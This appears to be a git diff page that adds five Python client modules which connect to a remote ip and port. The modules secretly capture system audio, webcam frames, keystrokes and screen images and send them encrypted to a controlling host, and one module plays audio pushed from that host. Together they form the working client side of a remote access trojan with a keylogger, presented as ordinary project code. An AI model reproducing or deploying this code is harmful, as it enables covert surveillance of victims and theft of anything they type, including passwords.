diff options
Diffstat (limited to 'Modules/Clients')
| -rw-r--r-- | Modules/Clients/audio.py | 57 | ||||
| -rw-r--r-- | Modules/Clients/cam.py | 50 | ||||
| -rw-r--r-- | Modules/Clients/keylogger.py | 34 | ||||
| -rw-r--r-- | Modules/Clients/stream.py | 57 | ||||
| -rw-r--r-- | Modules/Clients/talk.py | 62 | 
5 files changed, 260 insertions, 0 deletions
| diff --git a/Modules/Clients/audio.py b/Modules/Clients/audio.py new file mode 100644 index 0000000..a1a8d40 --- /dev/null +++ b/Modules/Clients/audio.py @@ -0,0 +1,57 @@ +import pyaudio +import socket +import pickle +import zlib + +from Specific.encrypt import Encryption +from sys import exit + + +def Audio(ip, port, encoding): +  try: +    headersize = 10 +    new_msg = True +    msg_len = 0 +    full_msg = b'' + +    e = Encryption() +    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +    s.connect((ip, port)) + +    CHUNK = 81920 +    FORMAT = pyaudio.paInt16 +    CHANNELS = 2 +    RATE = 44100 +    p = pyaudio.PyAudio() +    stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK, as_loopback=True) + +    while True: +      try: +        Audio_msg = s.recv(1024) + +        if new_msg: +          msg_len = int(Audio_msg[:headersize]) +          new_msg = False + +        full_msg += Audio_msg + +        if len(full_msg)-headersize == msg_len: +          frame = stream.read(CHUNK) + +          frame = pickle.dumps(frame) +          frame = zlib.compress(frame, 1) +          frame = e.do_encrypt(frame) + +          final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame +          s.send(final_msg) + +          new_msg = True +          msg_len = 0 +          full_msg = b'' +      except: +        stream.stop_stream() +        stream.close() +        p.terminate() +        exit(0) +  except: +    exit(0)
\ No newline at end of file diff --git a/Modules/Clients/cam.py b/Modules/Clients/cam.py new file mode 100644 index 0000000..04cdad4 --- /dev/null +++ b/Modules/Clients/cam.py @@ -0,0 +1,50 @@ +import socket +import pickle +import zlib +import cv2 + +from Specific.encrypt import Encryption +from sys import exit + + +def Cam(ip, port, encoding, position): +  try: +    headersize = 10 +    new_msg = True +    msg_len = 0 +    full_msg = b'' + +    e = Encryption() +    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +    s.connect((ip, port)) + +    cam = cv2.VideoCapture(position) + +    while True: +      try: +        Cam_msg = s.recv(1024) + +        if new_msg: +          msg_len = int(Cam_msg[:headersize]) +          new_msg = False + +        full_msg += Cam_msg + +        if len(full_msg)-headersize == msg_len: +          check, frame = cam.read() +          frame = pickle.dumps(frame) +          frame = zlib.compress(frame, 1) +          frame = e.do_encrypt(frame) + +          final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame +          s.send(final_msg) + +          new_msg = True +          msg_len = 0 +          full_msg = b'' +      except: +        cam.release() +        cv2.destroyAllWindows() +        exit(0) +  except: +    exit(0)
\ No newline at end of file diff --git a/Modules/Clients/keylogger.py b/Modules/Clients/keylogger.py new file mode 100644 index 0000000..48dbf6a --- /dev/null +++ b/Modules/Clients/keylogger.py @@ -0,0 +1,34 @@ +import socket +import pickle +import zlib + +from Specific.encrypt import Encryption +from pynput.keyboard import Listener +from sys import exit + + +def Keylogger(ip, port, encoding): +  try: +    headersize = 10 + +    e = Encryption() +    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +    s.connect((ip, port)) + +    def on_press(key): +      try: +        recv = s.recv(1024) + +        log = pickle.dumps(str(key)) +        log = zlib.compress(log) +        log = e.do_encrypt(log) + +        final_msg = bytes(f'{len(log):<{headersize}}', encoding) + log +        s.send(final_msg) +      except: +        exit(0) + +    with Listener(on_press=on_press) as L: +      L.join() +  except: +    exit(0)
\ No newline at end of file diff --git a/Modules/Clients/stream.py b/Modules/Clients/stream.py new file mode 100644 index 0000000..2b06a78 --- /dev/null +++ b/Modules/Clients/stream.py @@ -0,0 +1,57 @@ +import socket +import pickle +import zlib +import time +import cv2 + +from Specific.encrypt import Encryption +from Specific.grabber import Grabber +from ctypes import windll +from sys import exit + +user32 = windll.user32 +user32.SetProcessDPIAware() + + +def Stream(ip, port, encoding): +  try: +    headersize = 10 +    new_msg = True +    msg_len = 0 +    full_msg = b'' + +    e = Encryption() +    g = Grabber() +    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +    s.connect((ip, port)) + +    while True: +      try: +        last_time = time.time() +        recv_msg = s.recv(1024) + +        if new_msg: +          msg_len = int(recv_msg[:headersize]) +          new_msg = False + +        full_msg += recv_msg + +        if len(full_msg)-headersize == msg_len: +          frame = g.grab() +          cv2.putText(frame, f'FPS: {1.0 / (time.time() - last_time):f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 2) + +          frame = pickle.dumps(frame) +          frame = zlib.compress(frame, 1) +          frame = e.do_encrypt(frame) + +          final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame +          s.send(final_msg) + +          new_msg = True +          msg_len = 0 +          full_msg = b'' +      except: +        cv2.destroyAllWindows() +        exit(0) +  except: +    exit(0)
\ No newline at end of file diff --git a/Modules/Clients/talk.py b/Modules/Clients/talk.py new file mode 100644 index 0000000..cc8d181 --- /dev/null +++ b/Modules/Clients/talk.py @@ -0,0 +1,62 @@ +import pyaudio +import socket +import pickle +import zlib + +from Specific.encrypt import Encryption +from sys import exit + + +def Talk(ip, port, encoding): +  try: +    headersize = 10 +    new_msg = True +    msg_len = 0 +    full_msg = b'' +    msg = b'next' + +    e = Encryption() +    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +    s.connect((ip, port)) + + +    CHUNK = 81920 +    FORMAT = pyaudio.paInt16 +    CHANNELS = 2 +    RATE = 44100 +    p = pyaudio.PyAudio() +    stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + +    while True: +      try: +        talk_msg = s.recv(81920) + +        if new_msg: +          msg_len = int(talk_msg[:headersize]) +          new_msg = False + +        full_msg += talk_msg + +        if len(full_msg)-headersize == msg_len: +          data = e.do_decrypt(full_msg[headersize:]) +          data = zlib.decompress(data) +          data = pickle.loads(data) + +          stream.write(data) + +          real_msg = pickle.dumps(msg) +          real_msg = zlib.compress(real_msg, 1) +          real_msg = e.do_encrypt(real_msg) +          final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg +          s.send(final_msg) + +          new_msg = True +          msg_len = 0 +          full_msg = b'' +      except: +        stream.stop_stream() +        stream.close() +        p.terminate() +        exit(0) +  except: +    exit(0)
\ No newline at end of file | 
